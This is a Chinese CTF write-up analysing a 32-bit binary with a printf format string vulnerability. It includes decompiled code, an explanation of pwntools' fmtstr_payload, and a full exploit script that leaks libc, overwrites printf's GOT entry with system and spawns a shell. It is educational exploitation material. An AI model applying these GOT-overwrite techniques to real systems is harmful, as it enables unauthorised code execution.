0x00 代码分析
1,检查保护
1
2
3
4
5
6
[*] '/home/b0ldfrev/Pwn/pwn4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开了NX
2,使用IDA分析程序流程
main 函数分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-88h]
puts("please login first");
fflush(stdout);
login();
if ( login_flag )
{
printf("welcome~%s,the present for first meet~%p\n", &name, &buf);
puts("do you have something say to me~");
fflush(stdout);
if ( read(0, &buf, 0x80u) < 0 )
{
puts("read error");
exit(0);
}
printf(&buf);
}
else
{
puts("please login first!");
login();
}
return 0;
}
login 函数分析
1
2
3
4
5
6
7
8
9
10
11
12
int login()
{
puts("your name:");
fflush(stdout);
if ( read(0, &name, 0x20u) < 0 )
{
puts("read error");
exit(0);
}
login_flag = 1;
return puts("logined!");
}
程序定义了一个buf[88]的数组,首先让输入你的名字,然后再打印出刚才输入的名字和buf的栈地址,然后再让你输入一个字符串,打印出这个字符串。
0x01 漏洞分析与利用
首先分析输入name的地方,name的地址在bss段,不在栈中无法溢出。输入buf的地方,buf虽然在栈中,大小为ebp-88h
,但是输入的地方read(0, &buf, 0x80u)
,长度不能够溢出。明显printf(&buf);
存在格式化字符串漏洞。
很明显的格式化字符串漏洞了,执行一个任意地址泄露和任意地址写(泄露printf函数的plt.got表内地址,往main函数ret地址写一个main函数地址,回去二次执行程序流程)。因为前面泄露了地址,程序提供了libc库,算出system函数实际地址,第二次就往printf函数的plt.got表写入system函数地址,同时改写返回地址再次执行程序流程。最后printf(&system(“/bin/sh”))拿到shell。
0X02 fmtstr_payload介绍
这里介绍一个pwntools自带的格式化字符串任意地址写的函数:fmtstr_payload
fmtstr_payload(offset,writes,numbwritten = 0,write_size ='byte' )
使用给定参数创建有效负载。它可以为32位或64位架构生成有效负载。addr的大小取自context.bits
参数:
- offset(int) - 您控制的第一个格式化程序的偏移量
- 字典(dict) - 被写入地址对应->写入的数据,可多个对应{addr: value, addr2: value2}
- numbwritten(int) - printf函数已写入的字节数
- write_size(str) - 必须是byte,short或int。告诉您是否要逐字节写入,短按short或int(hhn,hn或n)
例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> context.clear(arch = 'amd64')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00%322419374c%1$n%3972547906c%2$n'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00%47774c%1$hn%22649c%2$hn%60617c%3$hn%4$hn'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00%126c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn%237c%5$hhn%6$hhn%7$hhn%8$hhn'
>>> context.clear(arch = 'i386')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00%322419386c%1$n'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x02\x00\x00\x00%47798c%1$hn%22649c%2$hn'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
'\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00%174c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn'
0X03 完整利用过程
- 构造
p32(put_got)+"%4$s"
,同时这里还要往返回地址写一个main函数地址。找到&buf+9c
偏移为ret地址,继续构造fmtstr_payload(6,{ret:main},12)
,参数6为4偏移加上泄露字符串的长度2DWORD,参数12为%s泄露出的地址和额外数据长度+4,因为%s以'\0'
结尾,不同libc库环境可能这个参数数值不同,可自行根据判断调整。 - 成功泄露地址后算出system函数地址,第二次执行流程利用,同理
fmtstr_payload(4,{printf_got:system,ret+4:main},0,'short')+";/bin/sh;#"
往ret+4写是因为,第二次执行main函数后ret地址往后挪了一位。然后往printf函数的plt.got表写入system函数地址,同时改写返回地址再次执行程序流程。不同的是这里的payload最后要写入个;/bin/sh;#
因为第三次执行流程的printf(&buf)
buf地址为第二次的buf地址偏一点点,用了参数截断,执行/bin/sh。
0x04 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level="debug"
context.arch="i386"
p = process("./pwn4")
p.recvuntil("name:")
p.sendline("A"*0x10)
p.recvuntil("meet~")
stack = int(p.recvuntil("\n",drop=True),16)
print hex(stack)
ret = stack + 0x9c
print hex(ret)
put_got = 0x804A018
pay = p32(put_got)+"%4$s"
pay2 = fmtstr_payload(6,{ret:0x804856E},12)
pay = pay + pay2
p.recvuntil("g say to me~")
p.sendline(pay)
print p.recvuntil("\x18\xa0\x04\x08")
puts = u32(p.recv(4))
libc = ELF("/lib/i386-linux-gnu/libc-2.19.so")
system = puts - libc.symbols['puts'] + libc.symbols['system']
sleep(2)
p.send("A"*0x20)
print hex(system)
pay = fmtstr_payload(4,{0x804a010:system,ret+4:0x0804856e},0,'short')+";/bin/sh;#"
p.send(pay)
sleep(2)
p.recvuntil("#")
sleep(1)
p.sendline("BBBBBB")
p.interactive()
0x05 总结
其实这道题有个很简单的解法,直接往返回地址写rop,泄露地址,执行system,全部rop就搞定了
大致就这样 :
exp1=fmtstr_payload(4,{ret:put_plt,ret+4:main,ret+8:put_got},0,'short')
exp2=fmtstr_payload(4,{ret:system_addr,ret+4:任意,ret+8:name_addr('/bin/sh')},0,'short')